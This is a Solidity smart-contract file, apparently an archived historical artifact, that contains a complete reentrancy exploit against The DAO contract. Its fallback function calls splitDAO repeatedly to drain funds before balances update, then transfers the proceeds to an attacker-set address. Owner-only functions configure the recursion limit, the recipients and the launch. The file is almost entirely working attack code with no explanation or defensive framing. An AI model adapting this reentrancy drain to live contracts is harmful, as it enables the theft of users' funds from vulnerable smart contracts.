(
)

// Submitted by EthereumHistory (ethereumhistory.com)
contract DAOInterface {
    function balanceOf(address addr) returns (uint);
    function splitDAO(uint proposalID, address newCurator) returns (bool);
    function vote(uint proposalID, bool supportsProposal) returns (uint);
    function transfer(address to, uint amount) returns (bool);
    function rewardAccount() returns (address);
}

contract DAOReentrancyExploit {
    address public owner;
    address public curator;
    DAOInterface public dao;
    uint public counter;
    uint public proposalID;
    uint public limit;
    address public next;
    address public owner2;

    event NewOwner(address newOwner);
    event Transfer(address to, uint value);
    event Vote(uint proposalID, bool position);
    event SetDAO(address dao);
    event SplitDAO(uint proposalID, address next);
    event NewLimit(uint limit);
    event WRONG(string reason, address who);

    function DAOReentrancyExploit(address _dao) {
        owner = msg.sender;
        dao = DAOInterface(_dao);
    }

    function() returns (bool) {
        if (msg.sender != dao.rewardAccount()) {
            WRONG("constuctor fail", msg.sender);
            return true;
        }
        if (counter > limit - 1) {
            dao.transfer(next, dao.balanceOf(this));
            counter = 1;
            return true;
        }
        counter++;
        dao.splitDAO(proposalID, curator);
        return true;
    }

    function setOwner(address _owner) returns (bool) {
        if (msg.sender != owner) throw;
        NewOwner(_owner);
        owner = _owner;
        return true;
    }

    function attack() returns (bool) {
        if (msg.sender != owner) throw;
        counter = 1;
        owner2.send(this.balance);
        dao.splitDAO(proposalID, curator);
        return true;
    }

    function setDao(address _dao) returns (bool) {
        if (msg.sender != owner) throw;
        dao = DAOInterface(_dao);
        SetDAO(dao);
        return true;
    }

    function setLimit(uint _limit) returns (bool) {
        if (msg.sender != owner) throw;
        limit = _limit;
        NewLimit(_limit);
        return true;
    }

    function transfer(address _to, uint _amount) returns (bool) {
        if (msg.sender != owner) throw;
        dao.transfer(_to, _amount);
        Transfer(_to, _amount);
        return true;
    }

    function splitDAO(uint _proposalID, address _curator, address _next, uint _limit, address _owner2) returns (bool) {
        if (msg.sender != owner) throw;
        next = _next;
        counter = 1;
        curator = _curator;
        proposalID = _proposalID;
        limit = _limit;
        owner2 = _owner2;
        owner2.send(this.balance);
        dao.splitDAO(proposalID, curator);
        SplitDAO(proposalID, next);
        return true;
    }

    function vote(uint _proposalID, bool _supports) returns (bool) {
        if (msg.sender != owner) throw;
        dao.vote(_proposalID, _supports);
        Vote(_proposalID, _supports);
        return true;
    }
}